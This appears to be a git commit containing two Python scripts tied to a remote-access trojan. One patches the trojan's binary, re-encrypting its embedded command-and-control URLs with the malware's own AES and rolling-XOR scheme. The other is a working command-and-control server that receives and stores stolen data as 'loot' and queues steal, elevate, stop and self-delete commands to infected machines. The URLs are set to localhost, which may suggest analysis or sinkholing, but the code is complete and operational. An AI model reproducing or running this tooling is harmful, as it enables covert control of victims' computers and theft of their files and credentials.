initial commit

This commit is contained in:
i2p
2026-08-27 11:23:33 -06:00
commit f51748e765
3 changed files with 471 additions and 0 deletions
+213
View File
@@ -0,0 +1,213 @@
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib
import os
def rolling_xor_encode(data):
result = bytearray(data)
for i in range(1, len(result)):
result[i] ^= result[i - 1]
return bytes(result)
def rolling_xor_decode(data):
result = bytearray(data)
for i in range(len(result) - 1, 0, -1):
result[i] ^= result[i - 1]
return bytes(result)
def xor_with_key(data, key):
return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
def encrypt_mode_1(plaintext, aes_key):
nonce = get_random_bytes(12)
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
return nonce + ciphertext + tag
def encrypt_mode_4(data, xor_key):
xored = xor_with_key(data, xor_key)
return rolling_xor_decode(xored)
def encrypt_c2_url(url_bytes, aes_key, xor_key):
aes_encrypted = encrypt_mode_1(url_bytes, aes_key)
hex_str = aes_encrypted.hex()
hex_bytes = hex_str.encode('latin-1')
mode4_encrypted = encrypt_mode_4(hex_bytes, xor_key)
final_hex = mode4_encrypted.hex()
return final_hex
def decrypt_mode_4(data, xor_key):
rolled = rolling_xor_encode(data)
return xor_with_key(rolled, xor_key)
def decrypt_mode_1(data, aes_key):
nonce = data[:12]
tag = data[-16:]
ciphertext = data[12:-16]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag)
def decrypt_c2(enc_hex, aes_key, xor_key):
encrypted = bytes.fromhex(enc_hex)
after_mode4 = decrypt_mode_4(encrypted, xor_key)
hex_str = after_mode4.decode('latin-1')
intermediate = bytes.fromhex(hex_str)
url = decrypt_mode_1(intermediate, aes_key)
return url
md5_biba = hashlib.md5(b"biba").digest()
aes_key = rolling_xor_encode(md5_biba)
xor_key = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c")
print("=" * 70)
print("patch")
print("=" * 70)
print(f"AES Key: {aes_key.hex()}")
print(f"XOR Key: {xor_key.hex()}")
print()
#encrypted_hex_len = (url_len + 12 + 16) * 4
#url_len = encrypted_hex_len / 4 - 28
original_c2s = [
{"name": "C2[0]", "offset": 0x599252, "orig_len": 212,
"orig_enc": "e72c8df43c680b056c60696d57a7f207043b690a5a603000070b5b7285a23e6c54046331393e5afeab0e0e356c0706383b56050c057188f26c3f07506461686202aba6050a606c5752373551060c5a7adda06c6b0e59316d6b3602a0f055023b6c0156673752070a0b23"},
{"name": "C2[1]", "offset": 0x598FF6, "orig_len": 200,
"orig_enc": "b3288da43d6f5e0a64643e6b0ca8a505026a6a0703663702590001238fa16d685a0e313768325ea6a0095c3d6c005c3a3350050b0b28ddf33e6a5c526e6f316a5af9f457556f69565668615a510b0f2adaf53d3a580c34613b3b5ba7fe5507693b570232"},
{"name": "C2[2]", "offset": 0x599326, "orig_len": 212,
"orig_enc": "e62f8cf43b6e5f536e616d6a59faa152526466050c616e5c0d0d5c7b8ef56e6b0f0962656a3c59faa704023a38075b616951570b5e2889a06a6f0e503b336b6b0cf5ad0007383e070161335b5b0e0c2f8cf26e3b5f0d3d6d6f3e5aabf450026a3b0150626751035d5a7e"},
{"name": "C2[3]", "offset": 0x5993FA, "orig_len": 220,
"orig_enc": "e62cdba2386a0e0a6568313c08aca95a016e345802373305500c0c7d88f73d385d5d65633c385fabf504563e6d5405353353005d0a7fd8f039395f0f3a696e3a59f9f65a0d3364555e3d3205565804248ef5346a02086369606a0afdf5565f6f625450676506045e56778ef53b3a"},
{"name": "BC[0]", "offset": 0x599186, "orig_len": 204,
"orig_enc": "b22c8da23c6d0d5b65303c3f5ba9f30300683a00546d6a025501502cd0f963360d593261396a5dabf000563a3e5605636156015d0b7cdfaf3736540e616738395df0ff5053386856503b3e53565b01258ba1386a0f59363c613d5af6ad51543d385057306705"},
]
print("=" * 70)
print("CALCULATING EXACT URL LENGTHS")
print("=" * 70)
for c2 in original_c2s:
# url_len = encrypted_hex_len / 4 - 28 (nonce 12 + tag 16)
required_url_len = c2["orig_len"] // 4 - 28
print(f"{c2['name']}: encrypted_len={c2['orig_len']} -> url_len={required_url_len}")
c2["required_url_len"] = required_url_len
print()
# C2[0]: 25, C2[1]: 22, C2[2]: 25, C2[3]: 27, BC[0]: 23
new_urls = {
"C2[0]": "http://127.0.0.1/salat/", # 24
"C2[1]": "http://127.0.0.1/sa1/", # 21
"C2[2]": "http://127.0.0.1/salat/", # 24
"C2[3]": "http://127.0.0.1/salat/", # 24
"BC[0]": "http://127.0.0.1/sa1a/", # 22
}
print("=" * 70)
print("GENERATING ENCRYPTED URLs")
print("=" * 70)
for c2 in original_c2s:
base = new_urls[c2["name"]]
required = c2["required_url_len"]
if len(base) < required:
url = base + "x" * (required - len(base))
elif len(base) > required:
url = base[:required]
else:
url = base
url_bytes = url.encode('utf-8')
print(f"\n{c2['name']}:")
print(f" URL: {url} ({len(url)} chars)")
encrypted = encrypt_c2_url(url_bytes, aes_key, xor_key)
print(f" Encrypted len: {len(encrypted)} (required: {c2['orig_len']})")
if len(encrypted) != c2["orig_len"]:
print(f" [ERROR] Length mismatch!")
exit(1)
try:
decrypted = decrypt_c2(encrypted, aes_key, xor_key)
print(f" Verify: {decrypted.decode('utf-8')}")
except Exception as e:
print(f" [ERROR] Verification failed: {e}")
exit(1)
c2["new_url"] = url
c2["new_encrypted"] = encrypted
print()
INPUT_FILE = "webrat.exe1"
OUTPUT_FILE = "webrat_patched.exe"
if os.path.exists(INPUT_FILE):
print("=" * 70)
print("PATCHING BINARY")
print("=" * 70)
with open(INPUT_FILE, "rb") as f:
data = bytearray(f.read())
print(f"Read {len(data)} bytes from {INPUT_FILE}")
for c2 in original_c2s:
orig_enc_bytes = c2["orig_enc"].encode('ascii')
new_enc_bytes = c2["new_encrypted"].encode('ascii')
found_at = data.find(orig_enc_bytes)
if found_at == -1:
print(f" [-] {c2['name']}: NOT FOUND!")
continue
if len(new_enc_bytes) != len(orig_enc_bytes):
print(f" [!] {c2['name']}: FATAL length mismatch!")
continue
data[found_at:found_at + len(orig_enc_bytes)] = new_enc_bytes
print(f" [+] {c2['name']}: Patched at 0x{found_at:X}")
print(f" {c2['new_url']}")
with open(OUTPUT_FILE, "wb") as f:
f.write(data)
print()
print(f"[+] Saved: {OUTPUT_FILE}")
print()
print("=" * 70)
print("FINAL VERIFICATION")
print("=" * 70)
with open(OUTPUT_FILE, "rb") as f:
patched = f.read()
for c2 in original_c2s:
enc_bytes = c2["new_encrypted"].encode('ascii')
pos = patched.find(enc_bytes)
if pos >= 0:
try:
dec = decrypt_c2(c2["new_encrypted"], aes_key, xor_key)
print(f" {c2['name']}: {dec.decode('utf-8')}")
except Exception as e:
print(f" {c2['name']}: FAILED - {e}")
print()
print("=" * 70)
print("DONE!")
print("=" * 70)
else:
print(f"[-] File not found: {INPUT_FILE}")
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""
https://t.me/neverliet_projects
"""
import asyncio
import base64
import json
import hashlib
import os
import sys
import threading
import uuid
from datetime import datetime
from pathlib import Path
from aiohttp import web
HOST = "0.0.0.0"
PORT = 80
LOOT_DIR = Path("loot")
LOOT_DIR.mkdir(exist_ok=True)
def rolling_xor_decode(data):
result = bytearray(data)
for i in range(len(result) - 1, 0, -1):
result[i] ^= result[i - 1]
return bytes(result)
def rolling_xor_encode(data):
result = bytearray(data)
for i in range(1, len(result)):
result[i] ^= result[i - 1]
return bytes(result)
def xor_with_key(data, key):
return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c")
def decrypt_mode5(data):
"""
Mode 5 = XOR_key -> Rolling_Encode
decrypt = Rolling_Decode -> XOR_key
"""
step1 = rolling_xor_decode(data)
step2 = xor_with_key(step1, XOR_KEY)
return step2
def encrypt_mode5(data):
step1 = xor_with_key(data, XOR_KEY)
step2 = rolling_xor_encode(step1)
return step2
def prepare_mode5_response(plaintext):
return decrypt_mode5(plaintext)
pending_command = None
clients = {}
def log(msg, level="INFO"):
timestamp = datetime.now().strftime("%H:%M:%S")
colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"}
print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m")
def save_important(client_id, data_type, data, ext="bin"):
client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_")
client_dir.mkdir(exist_ok=True)
timestamp = datetime.now().strftime("%H%M%S")
filepath = client_dir / f"{timestamp}_{data_type}.{ext}"
mode = "w" if isinstance(data, str) else "wb"
with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f:
f.write(data)
log(f"SAVED: {filepath}", "WARN")
return filepath
async def handle_request(request):
global pending_command
client_ip = request.remote
data = await request.read()
if not data:
return web.Response(text="OK")
# Decrypt
request_type = "1"
hwid = ""
try:
decrypted = decrypt_mode5(data)
if decrypted[:2] == b'PK':
log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN")
save_important(client_ip, "STOLEN_DATA", decrypted, "zip")
return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream")
try:
req = json.loads(decrypted)
# Debug: show raw request for type 6
if str(req.get("1", "")) == "6":
log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA")
request_type = str(req.get("1", "1"))
hwid = req.get("k", req.get("2", ""))
if request_type not in ["1", "2", "5", "7"]:
log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA")
if hwid and hwid not in clients:
clients[hwid] = {"ip": client_ip, "first": datetime.now()}
log(f"NEW CLIENT: {hwid}", "WARN")
if request_type == "5" and "3" in req:
sysinfo = req["3"]
log(f"SYSINFO: {sysinfo[:100]}...", "WARN")
save_important(client_ip, "sysinfo", sysinfo, "json")
if request_type == "6" and "3" in req:
try:
stolen_b64 = req["3"]
log(f"Base64 length: {len(stolen_b64)}", "DATA")
stolen_data = base64.b64decode(stolen_b64)
log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN")
# Check if valid ZIP
if stolen_data[:2] == b'PK':
log(f"Valid ZIP file received!", "WARN")
save_important(client_ip, "STOLEN_DATA", stolen_data, "zip")
else:
log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA")
save_important(client_ip, "STOLEN_DATA", stolen_data, "bin")
except Exception as e:
log(f"Failed to decode stolen data: {e}", "ERROR")
# Handle error/log (type 7)
if request_type == "7":
log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA")
except json.JSONDecodeError:
log(f"Non-JSON data: {len(decrypted)} bytes", "DATA")
except Exception as e:
log(f"Error: {e}", "ERROR")
# Prepare response
if request_type == "1":
response = b'{"1":0,"2":50}'
log(f"[HEARTBEAT] OK", "CMD")
elif request_type == "2":
if pending_command:
cmd = pending_command
pending_command = None
task_id = str(uuid.uuid4())[:8]
if cmd == "9":
# STEAL needs "2" = path (00 default), "3" = taskid
response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode()
else:
response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode()
log(f">>> SENDING: {response.decode()} <<<", "WARN")
else:
response = b'{"1":""}'
elif request_type == "5":
response = b'{"1":0,"2":0}'
elif request_type == "6":
log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN")
response = b'1'
elif request_type == "7":
response = b'{"1":0,"2":0}'
else:
response = b'{"1":0,"2":0}'
return web.Response(
body=prepare_mode5_response(response),
content_type="application/octet-stream"
)
def cli_thread():
global pending_command
print("\n" + "="*50)
print("https://t.me/neverliet_projects - Commands:")
print(" steal - Send STEAL command")
print(" stop - Stop malware")
print(" suicide - Self-delete malware")
print(" clients - Show clients")
print(" loot - Show loot")
print(" exit - Exit")
print("="*50 + "\n")
while True:
try:
cmd = input("\033[94m[C2]>\033[0m ").strip().lower()
if cmd == "steal":
pending_command = "9"
print(">>> STEAL command queued!")
elif cmd == "stop":
pending_command = "3"
print(">>> STOP command queued!")
elif cmd == "suicide":
pending_command = "4"
print(">>> SUICIDE command queued!")
elif cmd == "elevate":
pending_command = "b"
print(">>> ELEVATE command queued!")
elif cmd == "clients":
if clients:
for h, i in clients.items():
print(f" {h}: {i['ip']}")
else:
print(" No clients yet")
elif cmd == "loot":
files = list(LOOT_DIR.rglob("*"))
if files:
for f in files:
if f.is_file():
print(f" {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)")
else:
print(" No loot yet")
elif cmd == "exit":
os._exit(0)
elif cmd:
print(f"Unknown: {cmd}")
except (KeyboardInterrupt, EOFError):
pass
def main():
print(f"""
╔════════════════════════════════════════════╗
║ govnoRAT C2 SERVER ║
║ Port: {PORT}
║ Loot: ./loot/ ║
╚════════════════════════════════════════════╝
""")
log(f"Starting on {HOST}:{PORT}", "INFO")
app = web.Application(client_max_size=100*1024*1024)
app.router.add_route("*", "/{path:.*}", handle_request)
cli = threading.Thread(target=cli_thread, daemon=True)
cli.start()
try:
web.run_app(app, host=HOST, port=PORT, print=None)
except PermissionError:
log("Permission denied! Run as Administrator", "ERROR")
sys.exit(1)
if __name__ == "__main__":
main()
BIN
View File
Binary file not shown.